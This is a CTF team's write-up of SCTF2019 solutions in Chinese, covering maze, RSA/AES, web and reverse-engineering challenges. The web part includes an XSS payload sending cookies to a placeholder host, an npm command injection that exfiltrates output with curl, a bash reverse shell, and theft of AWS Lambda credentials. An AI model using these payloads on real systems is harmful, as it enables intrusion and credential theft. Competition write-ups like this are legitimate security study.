SCTF2019 Writeup——De1ta

阅读量    99493 | 评论 1   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前排广告位

De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手

有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

De1ta是一个充满活力的CTF团队,成立至今的一年里,我们在不断变强,也在不断完善内部的制度,使得De1ta的每一位成员都能在技术和热情上保持提升,欢迎各位师傅的加入,尤其欢迎CTF新起之秀的加入。

 

Misc

签到

关注公众号,cat /flag

头号玩家

一直往上走flag就出来了

image.png

sctf{You_Are_The_Ready_Player_One!!!For_Sure!!!}

Maaaaaaze

找迷宫中任意两点最大路径

最后答案是4056

把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进去跑,来回几次就得到4056了

exp.py

import sys
sys.setrecursionlimit(100000)

file = open("sctfmaze.txt")
maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
vis = [[0 for j in range(0, 100)] for i in range(0, 100)]
class Node:
   t = 0
   r = 0
   b = 0
   l = 0
#print maze
for line in file:
   a = line[:-1].split(" ")
   #print a
   n = Node()
   for i in range(2,len(a)):
       #print a[i],
       if a[i] == '0' :
           n.t = 1
       if a[i] == '1' :
           n.r = 1
       if a[i] == '2' :
           n.b = 1
       if a[i] == '3' :
           n.l = 1
       #print a[i],
   #print
   maze[int(a[0])][int(a[1])] = n
   #print a[0],a[1],maze[int(a[0])][int(a[1])].b
#exit()
def check(i,j):
   if i>=100 or i<0 or j>=100 or j<0:
       return False
   if vis[i][j] == 1:
       return False
   return True

def printmap():
   global vis
   for i in range(0,100):
       for j in range(0,100):
           if vis[i][j] == 1:
               print "%2d%2d" % (i,j)
           print "    "

maxx = 0
print maxx,i,j

def dfs(i,j,n):
   global maxx
   global vis
   global maze
   n += 1

   #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
   if n>maxx:
       print n,i,j
       #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l

       maxx = n
   if check(i-1,j) and maze[i][j].t == 0:
       vis[i-1][j] = 1
       dfs(i-1,j,n)
       vis[i-1][j] = 0
   if check(i,j+1) and maze[i][j].r == 0:
       vis[i][j+1] = 1
       dfs(i,j+1,n)
       vis[i][j+1] = 0
   if check(i+1,j) and maze[i][j].b == 0:
       vis[i+1][j] = 1
       dfs(i+1,j,n)
       vis[i+1][j] = 0
   if check(i,j-1) and maze[i][j].l == 0:
       vis[i][j-1] = 1
       dfs(i,j-1,n)
       vis[i][j-1] = 0

vis[70][22] = 1
dfs(70,22,0)
exit()

for i in range(0,100):
   for j in range(0,100):
       #print i,j
       vis[i][j] = 1
       dfs(i,j,0)
       vis[i][j] = 0

打开电动车

根据这篇文章

http://www.kb-iot.com/post/756.html

可知钥匙信号(PT224X) = 同步引导码(8bit) + 地址位(20bit) + 数据位(4bit) + 停止码(1bit)

用audacity打开信号文件,信号为 011101001010101001100010

这里题目截取到的信号中不包括同步码,前20位即为地址码,即为flag

sctf{01110100101010100110}

image.png

 

Crypto

babygame

题目首先需要proof_of_work,要求m和rsa加密m之后再解密的结果不相同,让m比n大即可绕过

进入系统之后有两个选项

1.随机生成三组不同的a,b,n,使用相同的e=3,使得c=pow(a*m+b,e,n),然后会给我们三组不同的a,b,n和c。最后再使用aes_ofb加密m,将结果也给我们。其中aes的iv和key都是随机生成的

2.我们需要输入aes_ofb加密之后的m的结果,其中m需要将其中的afternoon替换为morning,如果构造的正确则返回flag
解题思路:

1.通过Broadcast Attack with Linear Padding解出m为”I will send you the ticket tomorrow afternoon”

2.将m,修改后的m,以及aes_ofb加密之后的m的结果进行异或,得到的最终结果就是修改后的m进行aes_ofb加密之后的结果。将此结果发送给服务器便得到flag

sctf{7h15_ch4ll3n63_15_n07_h4rd_f0r_y0u_r16h7?}

解题脚本:

1.hastads.sage

def hastads(cArray,nArray,e=3):
    """
    Performs Hastads attack on raw RSA with no padding.
    cArray = Ciphertext Array
    nArray = Modulus Array
    e = public exponent
    """

    if(len(cArray)==len(nArray)==e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
        M = crt(cArray,nArray)
        return(Integer(M).nth_root(e,truncate_mode=1))
    else:
        print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")


def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
    """
    Performs Hastads attack on raw RSA with no padding.
    This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
    Where they are all encryptions of the same message.
    cArray = Ciphertext Array
    nArray = Modulus Array
    aArray = Array of 'slopes' for the linear padding
    bArray = Array of 'y-intercepts' for the linear padding
    e = public exponent
    """
    if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
            aArray[i] = Integer(aArray[i])
            bArray[i] = Integer(bArray[i])
        TArray = [-1]*e
        for i in range(e):
            arrayToCRT = [0]*e
            arrayToCRT[i] = 1
            TArray[i] = crt(arrayToCRT,nArray)
        P.<x> = PolynomialRing(Zmod(prod(nArray)))
        gArray = [-1]*e
        for i in range(e):
            gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
        g = sum(gArray)
        g = g.monic()
        # Use Sage's inbuilt coppersmith method
        roots = g.small_roots(epsilon=eps)
        if(len(roots)== 0):
            print("No Solutions found")
            return -1
        return roots[0]

    else:
        print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
         "and the same size as the public exponent")

def LinearPadding():
    import random
    import binascii

    e = 3

    nArr = [
        0x81e620887a13849d094251e5db9b9160d299d2233244876344c0b454c99f7baf9322aa90b371f59a8ed673f666137df1f1e92d86e7b036479a2519827a81c7648543e16d4d0a334d0aa1124ad4c794298c3a227abfe1d44470ad4649609630450cb83f42f68ff2c445aaf546483b7a2b0a6e5877634ace5e640f8d8cbdc6a379,
        0x6c7c7935c58a586cf45e2e62ee51f6619ae2f6a7cef3865ed40a0d62ec31ba612e81045bcc6e50aa41d225b0f92b0d4a40051e2cf857ba61e91619e8fb3e2691d276c1abb5231c8012deb449e85752d2a02119bb186da6f7d41d704261284b395eec17ed4a2b07d1b97e34db8164e3093dd6cffbb0119ef8b3e9e960b0d96d05,
        0x5e67f4953462f66d217e4bf80fd4f591cbe22a8a3eac42f681aea880f0f90e4a34aca250b01754dd49d3b7512011609f757cbaf8ae7c97d5894fb92fb36595aff4a1303d01e5c707284bbfdc20b8378e046650675353e471853fa294f779df7b1b3f7cbe1748c2109d22cea682b01cb2c7719df03783e66cc3e44889a002c517]
    cArr = [
        0x3512b763bab0b45b2c6941cccd550c8b2628cea0f162dc3902951e48115d58d16ea25075da6331617e7a4ac6062190f8ce91c65c91cff57a845a21d2ebd792b46bdcb666bc4aeab2232f990956084003b652664444ba0255dbab16620b2b232a1a4e6ec04e24249ff7ba33c70cb98c50d1f46bed076c53e2c95d0ec7dee5ad2f,
        0x36bfe6fba6f34b93a0d2d44c890dfe44afc715a586bc1a44aa184571bb88a238187024b36b22a1f52a64f553fb52cf7ce193937e047307dd62e4c980601a3d20b1fbfe69888992726b11bf20330e48e4a64c6d4825d1c6d058d745f5a709c2ab5ac86da1feacf13e9de2237426b70a17a56d201b4743c68b70fdd4c7ce5eaa3,
        0x4961ba65469dfc17e663af04dfb8eeee16c61df4f85971495d0c7e7061040602638963651791cfad28992312309c3179da27babf2a80fe41c062b21aa922da53bd793c614a0974ec5e5e18f9696df875e98aceef17d476d7615ea304e7e9869696711016151666f6b58f31241c590b3b313009434b444bcb7694bb8309d89475]
    aArr = [
        0xd0f458bc246d88f38e78076b36ad58981928594035b9e428401dc3ccf049a8012926dffb5be9fa225e8e128370581acc79ee24fa259d4ea895ce61d3d607ed2b,
        0xfbedf9c34170262e2ed0eee7512e935715400a8ce541285c98e5269d2cdf4dc1aa81e117bf5d62a3310064376e8c3d5d5c4fa67e5a434ad93e5875eaa7be9545,
        0xa2995200a4f252d7ba9959a3b7d51c4b138f3823869f71573f4ab61c581ce8879d40396a33ddc32a93fd100a1029dba53e41a0acbe9e023a0bf51c6e4ddc911d]
    bArr = [
        0xc2a6d47dc16824c86e92a9e88a931d215846052fe6787c11d0fcd9f4dde28f510707c33948290f69644a7fa64075d85e7761cfff3c627ee5156a03bd9f241c51,
        0xc2343fdbb6a351b387174db494e03d0879bea084e65b16f3f0ad106472bd3974813aec28a01fcceeae00db6d38b6c32bb6ce900dff236ae9c5814ad089591115,
        0xc4a2fb937c7441be58bfcb06208e0987423ab577041d0accf1f446545b9ebb7e4874fc56597ab1b842bb50e364a62f07a0afe7d6eff7a805361f8d3a12e79d65]
    randUpperBound = pow(2,500)

    msg = linearPaddingHastads(cArr,nArr,aArr,bArr,e=e,eps=1/8)
    msg = hex(int(msg))[2:]
    if(msg[-1]=='L'):
        msg = msg[:-1]
    if(len(msg)%2 == 1):
        msg = '0' + msg
    print(msg)
    print(binascii.unhexlify(msg))

if __name__ == '__main__':
    LinearPadding()

2.exp.py

HOST = "47.240.41.112"
PORT = 54321

from Crypto.Util.strxor import strxor
from pwn import *

def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

r = remote(HOST, PORT) 
ru = lambda x : r.recvuntil(x)
rl = lambda  : r.recvline()
sl = lambda x : r.sendline(x)

# Give a large number bigger than n to break proof_of_work
ru('{65537, ')
n = ru('L}').strip('L}')
n = int(n[2:],16)
ru('Give me something you want to encrypt:')
sl(str(n**2))

# pad the message and target message we got in the first step
msg = pad("I will send you the ticket tomorrow afternoon")
target_msg = pad("I will send you the ticket tomorrow morning")

ru('message')
sl('1')
ru('this:')
message = ((ru('n').strip(' ')).strip('n')).decode('hex')
ru('message')

# message xor enc_message = middle_key_stream, middle_key_stream xor target_message = enc_target_message, so enc_target_message = xor(message,enc_message,target_message)
enc_target_message = strxor(strxor(target_msg,message),msg).encode('hex')

# choice 2 and send enc_target_message to get flag
sl('2')
ru('now:')
sl(enc_target_message)
flag = ru('}')
print "[+]FLAG IS: "+flag
r.close()

warmup

就是看函数unpad

def unpad(self, msg):
    return msg[:-ord(msg[-1])]

msg[-1]可以自己设置,也就是说。要满足:

msg = self.unpad(msg)
            if msg == 'please send me your flag':

不一定要msg是'please send me your flag'+'x08'*8

后面还可以加一个16字节的,最后伪造成这样

'please send me your flag'+'A'*23+'x18'这个也能满足:

然后就要把那些A换成一些其它的值,使得能通过这个条件:

if self.code(msg) == code:

个code函数就是每16位异或在一起,最后再进行一次确定性的加密。

已知的nc会给一个(明文,mac)对。记作(plaintext1,mac1)。

然后伪造一个(plaintext2,mac2)。让mac2=mac1,再让plaintext2每16位异或在一起的值和plaintext1每16位异或在一起的值相同就可以了。

回到这里'please send me your flag'+'A'*23+'x18'

我们能控制最后一组16位中的前15个字符和倒数第二组15位的最后一个字符。

异或一下就可以知道那些’A’替换成什么了。然后发过去行了。

exp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
from FLAG import flag

def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

iv = b'1'*16

message = b'see you at three o'clock tomorrow'
message = iv+pad(message)
res1 = bytes([0])*16
for i in range(len(message)/16):
    res1 = bytesxor(message[i*16:(i+1)*16], res1)



message2 = 'please send me your flag' # len=24
message2 = iv+message2+7*b'x00'+b'x18'
res2 = bytes([0])*16
for i in range(len(message)/16):
    res2 = bytesxor(message[i*16:(i+1)*16], res2)

sig = bytesxor(res1,res2)
sig1 = sig[:15]
sig2 = sig[15:]

final = iv+message2+7*b'x00'+sig2+sig1+b'x18'

sctf{y0u_4r3_7h3_4p3x_ch4mp10n}

 

Web

math-is-fun1

题目给了个在线编辑器

http://47.110.128.101/challenge?name=Challenger

可以提交一个url到服务器,结合hint确定是要xss了

http://47.110.128.101/send_message.html

启用了Dompurify,且配置文件http://47.110.128.101/config 如下

({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE
D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})

分析了页面里的js代码,渲染流程如下:

1.服务器将name参数拼接到一个config类型的script标签中

2.读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)

3.将config[name]拼接到textarea中

4.读取location.search中的text,URLdecode后覆盖textarea

5.监听textarea变化后会执行如下事件

6.读取textarea的内容

7.Dompurify过滤 (上面发的先知链接已经被修复)

8.markdown渲染 (不知道用的啥库)

9.latex渲染 (用的mathjax2.7.5不存在已知xss)

10.插入页面

猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码

https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js:966

image.png

当DOMPurify.isSupported为false,则能够绕过过滤

于是构造

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)

把DOMPurify.isSupported设置为false,text参数的值就能直接插入页面中,造成xss

(这里不知道为啥直接text=<script>alert(1)就绕过csp弹窗了,可能是非预期

image.png

最后payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

两题都可以用这个paylaod打

image.png

math-is-fun2

题解同上,

payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

easy-web

用chrome可以看到webpack里有web接口相关信息

image.png

/upload接口可以打包nodejs库到zip并返回一个url给你下载

测试发现npm参数可以命令注入

POST /upload HTTP/1.1
Host: sctf2019.l0ca1.xyz
Connection: close
Content-Length: 173
Accept: application/json, text/plain, */*
Origin: https://sctf2019.l0ca1.xyz
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://sctf2019.l0ca1.xyz/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

{"key":"abcdefghiklmn123","npm":[";curl http://xxx:8088/ -X POST -d "`ls -al`""]}

找了半天,服务器里啥也没有,把源码扒下来:

const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
    "Bucket":"static.l0ca1.xyz",
    "host":"static.l0ca1.xyz",
}

function getRandomStr(len) {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < len; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
};
function zip(archive, output, nodeModules) {
    const field_name = getRandomStr(20);
    fs.mkdirSync(`/tmp/${field_name}`);
    archive.pipe(output);
    return new Promise((res, rej) => {
        async.mapLimit(nodeModules, 10, (i, c) => {
            process.chdir(`/tmp/${field_name}`);
            console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
            cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
                if (error) {
                    c(null, error);
                } else {
                    c(null, stdout);
                }
            });
        }, (error, results) => {
            archive.directory(`/tmp/${field_name}/`, false);
            archive.finalize();
        });
        output.on('close', function () {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                res("");
            });
        });
        archive.on("error", (e) => {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                rej(e);
            });
        });
    });
}

const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
    return new Promise((resolve, reject) => {
        fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
            if (err) {
                ctx.throw("系统发生错误,请重试");
                return;
            };
            ctx.type = 'text/html';
            ctx.body = data.toString();
            resolve();
        });
    });
})
.post("/login",async(ctx)=>{
    if(!ctx.request.body.email || !ctx.request.body.password){
        ctx.throw(400,"参数错误");
        return;
    }
    ctx.body = {isUser:false,message:"用户名或密码错误"};
    return;
})
.post("/upload", async (ctx) => {
    const parme = ctx.request.body;
    const nodeModules = parme.npm;
    const key = parme.key;
    if(typeof key == "undefined" || key!="abcdefghiklmn123"){
        ctx.throw(403,"请求失败");
        return;
    }
    if (typeof nodeModules == "undefined") {
        ctx.throw(400, "JSON 格式错误");
        return;
    }
    const zipFileName = `${getRandomStr(20)}.zip`;
    var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
    var archive = archiver('zip', {
        zlib: { level: 9 },
    });
    try {
        await zip(archive, output, nodeModules);
    } catch (e) {
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    }
    const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
    const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    });
    ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
    cp.execSync(`rm -f /tmp/${zipFileName}`);
    return;
})
app.use(router.routes());

if (process.env && process.env.AWS_REGION) {
    require("dns").setServers(['8.8.8.8','8.8.4.4']);
    const serverless = require('serverless-http');
    module.exports.handler = serverless(app, {
        binary: ['image/*', 'image/png', 'image/jpeg']
    });
}else{
    app.listen(3000,()=>{
        console.log(`listening 3000......`);
    });
}N

后端接受参数后打包zip,然后传到了AWS s3里

因为服务器中啥也没找到,故猜测flag不在web服务器里,在static.l0ca1.xyz里,

也就是AWS s3里,那就要获取

const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}

记得AWS内网有地方可以看这个key

https://www.freebuf.com/articles/web/135313.html
http://www.52bug.cn/hkjs/5749.html
https://n0j.github.io/2017/10/02/aws-s3-ctf.html
https://www.jianshu.com/p/d34bbfc951fa
https://www.freebuf.com/articles/system/129667.html

/var/task/.git/

image.png

img.png

反弹shell bash -i >& /dev/tcp//6666 0>& 几秒钟就会断开,但是时间够了

接着服务器上 node -e运行js,带着凭据直接访问s3,类似ssrf

const AWS = require("aws-sdk");
const s3 = new AWS.S3();
const bkt = s3.listObjects({Bucket: "static.l0ca1.xyz"});
bkt.promise().then((data)=>{
        console.log(data)
        }
    );

image.png

const AWS = require("aws-sdk");
const s3 = new AWS.S3();
const flag = s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"});
flag.promise().then((data)=>{
    console.log(data)
}
);

image.png

image.png

方法2:

https://www.freebuf.com/articles/network/189688.html

当一个AWS Lambda函数执行时,它会使用一个由开发者(IAM角色)提供的临时安全证书。此时需要从AWS STS(安全令牌服务)接收以下三个参数:

access key id

secret access key

token

这时候就能直接读取self/environ获得这三个东西,然后本地起开aws cli配置好key直接读s3就行了

flag shop

robots.txt提示/filebak,访问后拿到源码:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
 enable :logging
 file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
 file.sync = true
 use Rack::CommonLogger, file
end

get "/" do
 redirect '/shop', 302
end

get "/filebak" do
 content_type :text
 erb IO.binread __FILE__
end

get "/api/auth" do
 payload = { uid: SecureRandom.uuid , jkl: 20}
 auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
 cookies[:auth] = auth
end

get "/api/info" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
 erb :shop
end

get "/work" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 auth = auth[0]
 unless params[:SECRET].nil?
   if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
     puts ENV["FLAG"]
   end
 end

 if params[:do] == "#{params[:name][0,7]} is working" then

   auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

 end
end

post "/shop" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

 if auth[0]["jkl"] < FLAGPRICE then

   json({title: "error",message: "no enough jkl"})
 else

   auth << {flag: ENV["FLAG"]}
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   json({title: "success",message: "jkl is good thing"})
 end
end


def islogin
 if cookies[:auth].nil? then
   redirect to('/shop')
 end
end

发现 ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

存在erb模版注入,构造name为<%=$~%>,do为<%=$~%> is working

结合ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

SECRET参数可控,如果匹配到SECRET,则$~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回

于是可以爆破secret,然后伪造JWT去买flag。

爆破脚本如下:

import requests
import base64

url = "http://47.110.15.101"
re = requests.session()
re.get(url + "/api/auth")

flag = "09810e652ce9fa4882fe4875c"
while True:
   i = ""
   for i in "0123456789abcdef":
       #now = flag + i
       now = i + flag
       res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
       if len(res.text) > 48:
           print res.text
           print flag
           flag = now
           break
print flag

image.png

image.png

 

Re

Who is he

基于unity开发的游戏,实际只有一个视频播放器,输入框和一个确认框。

找了下资料,默认<Game>_dataManagedAssembly-CSharp.dll应该是存放主逻辑的地方。dnspy一把梭。

只是一个DES CBC模式的加密,密文密钥都有,初始iv和key相同。注意C#里面字符串默认是Unicode,密钥是”1234“,每个字符后面都要加”x00”。

import base64
from Crypto.Cipher import DES
key = b"1x002x003x004x00"
des = DES.new(key, mode = DES.MODE_CBC, iv = key)
cipher = b"1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA=="
cipher = base64.b64decode(cipher)
plain = des.decrypt(cipher)[0:-8].decode("utf-16")
print(plain)

解出来得到

He_P1ay_Basketball_Very_We11!Hahahahaha!

交一下发现不对,找了半天好像这个dll里没什么奇怪的地方了。

后面用ce,直接暴力搜索”Emmmmm”

image.png

搜到不止一个结果,在内存中查看一下有新的收获,这里base64的部分和之前dll里的不一样!一共有两个地方不同,先尝试直接解密。第一个得到:

Oh no!This is a trick!!!

第二个不知base64改了,key也改成了test。

解密之后得到:

She_P1ay_Black_Hole_Very_Wel1!LOL!XD!

提交正确。脚本:

import base64
from Crypto.Cipher import DES
key = b"tx00ex00sx00tx00"
# print(a)
# print(key)
des = DES.new(key, mode = DES.MODE_CBC, iv = key)
a = b"xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU="
a = base64.b64decode(a)
res = des.decrypt(a)[0:-6].decode("utf-16")
print(res)

继续在ce的内存中翻找,可以看到pe头。把整个dll dump下来,再丢尽dnspy,可以看到内容基本一致。

Creakme

main开头第一个函数进行SMC。先查找区段.SCTF,然后调用DebugBreak下断点。猜测是通过调试器附加的方式来修改。之后进入sub_402450进行SMC。

很容易写个脚本还原:

from ida_bytes import get_bytes, patch_bytes
st = 0x404000
key = map(ord,list("sycloversyclover"))
for i in range(512):
    tmp = ord(get_bytes(st,1))
    tmp^=key[i%16]
    tmp = ~tmp
    patch_bytes(st,chr(tmp))
    st+=1

修改的函数sub_404000在接下来的sub_4024A0中被调用到,可以发现它将之后的一串字符串修改为base64字符串

后面加密部分,很容易看出AES CBC,密文密钥初始向量都有

from base64 import b64decode
from Crypto.Cipher import AES
key = b"sycloversyclover"
iv = b"sctfsctfsctfsctf"
aes = AES.new(key, mode = AES.MODE_CBC, iv = iv)
res = b"nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo="
cipher = b64decode(res)
tmp = aes.decrypt(cipher)
print(tmp)

得到flag:

sctf{Ae3_C8c_I28_pKcs79ad4}

babyre

有几个简单的花指令。

主逻辑很清晰,三部分password。

第一部分为5*5*5的迷宫,wasd上下左右,xy在z轴方向上下移动。

*****  *..**  *..**  *****  *****
*****  ****.  *..**  *****  **..*
****.  ****.  ..#*.  *****  *...*
****.  *****  .***.  *****  ..*.*
**s..  *****  .***.  .**..  .**.*

直接看出路径来:

ddwwxxssxaxwwaasasyywwdd

第二部分就是base64

c2N0Zl85MTAy

第三部分为一个简单的对称加密,直接逆回来:

#include"stdio.h"
#include"string.h"
#define ROL(x, r)  (((x) << (r)) | ((x) >> (32 - (r))))
#define ROR(x, r)  (((x) >> (r)) | ((x) << (32 - (r))))

unsigned int a[288] = {0x0D6, 0x90, 0x0E9, 0x0FE, 0x0CC, 0x0E1, 0x3D, 0x0B7, 0x16, 0x0B6, 0x14, 0x0C2, 0x28, 0x0FB, 0x2C, 0x5, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0x0BE, 0x4, 0x0C3, 0x0AA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0x0F4, 0x91, 0x0EF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0x0ED, 0x0CF, 0x0AC, 0x62, 0x0E4, 0x0B3, 0x1C, 0x0A9, 0x0C9, 0x8, 0x0E8, 0x95, 0x80, 0x0DF, 0x94, 0x0FA, 0x75, 0x8F, 0x3F, 0x0A6, 0x47, 0x7, 0x0A7, 0x0FC, 0x0F3, 0x73, 0x17, 0x0BA, 0x83, 0x59, 0x3C, 0x19, 0x0E6, 0x85, 0x4F, 0x0A8, 0x68, 0x6B, 0x81, 0x0B2, 0x71, 0x64, 0x0DA, 0x8B, 0x0F8, 0x0EB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0x0D1, 0x0A2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0x78, 0x87, 0x0D4, 0x0, 0x46, 0x57, 0x9F, 0x0D3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0x0E7, 0x0A0, 0x0C4, 0x0C8, 0x9E, 0x0EA, 0x0BF, 0x8A, 0x0D2, 0x40, 0x0C7, 0x38, 0x0B5, 0x0A3, 0x0F7, 0x0F2, 0x0CE, 0x0F9, 0x61, 0x15, 0x0A1, 0x0E0, 0x0AE, 0x5D, 0x0A4, 0x9B, 0x34, 0x1A, 0x55, 0x0AD, 0x93, 0x32, 0x30, 0x0F5, 0x8C, 0x0B1, 0x0E3, 0x1D, 0x0F6, 0x0E2, 0x2E, 0x82, 0x66, 0x0CA, 0x60, 0x0C0, 0x29, 0x23, 0x0AB, 0x0D, 0x53, 0x4E, 0x6F, 0x0D5, 0x0DB, 0x37, 0x45, 0x0DE, 0x0FD, 0x8E, 0x2F, 0x3, 0x0FF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51, 0x8D, 0x1B, 0x0AF, 0x92, 0x0BB, 0x0DD, 0x0BC, 0x7F, 0x11, 0x0D9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0x0D8, 0x0A, 0x0C1, 0x31, 0x88, 0x0A5, 0x0CD, 0x7B, 0x0BD, 0x2D, 0x74, 0x0D0, 0x12, 0x0B8, 0x0E5, 0x0B4, 0x0B0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0x0B9, 0x0F1, 0x9, 0x0C5, 0x6E, 0x0C6, 0x84, 0x18, 0x0F0, 0x7D, 0x0EC, 0x3A, 0x0DC, 0x4D, 0x20, 0x79, 0x0EE, 0x5F, 0x3E, 0x0D7, 0x0CB, 0x39, 0x48, 0x0C6, 0x0BA, 0x0B1, 0x0A3, 0x50, 0x33, 0x0AA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0x0DC, 0x22, 0x70, 0x0B2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0};
unsigned int foo2(unsigned int a1)
{
    unsigned v1;
    unsigned char byte[4];
    byte[0] = a1&0xff;
    byte[1] = (a1>>8)&0xff;
    byte[2] = (a1>>16)&0xff;
    byte[3] = (a1>>24)&0xff;
    v1 = (a[byte[0]])|(a[byte[1]]<<8)|(a[byte[2]]<<16)|(a[byte[3]]<<24);
    return ROL(v1,12)^ROL(v1,8)^ROR(v1,2)^ROR(v1,6);
}

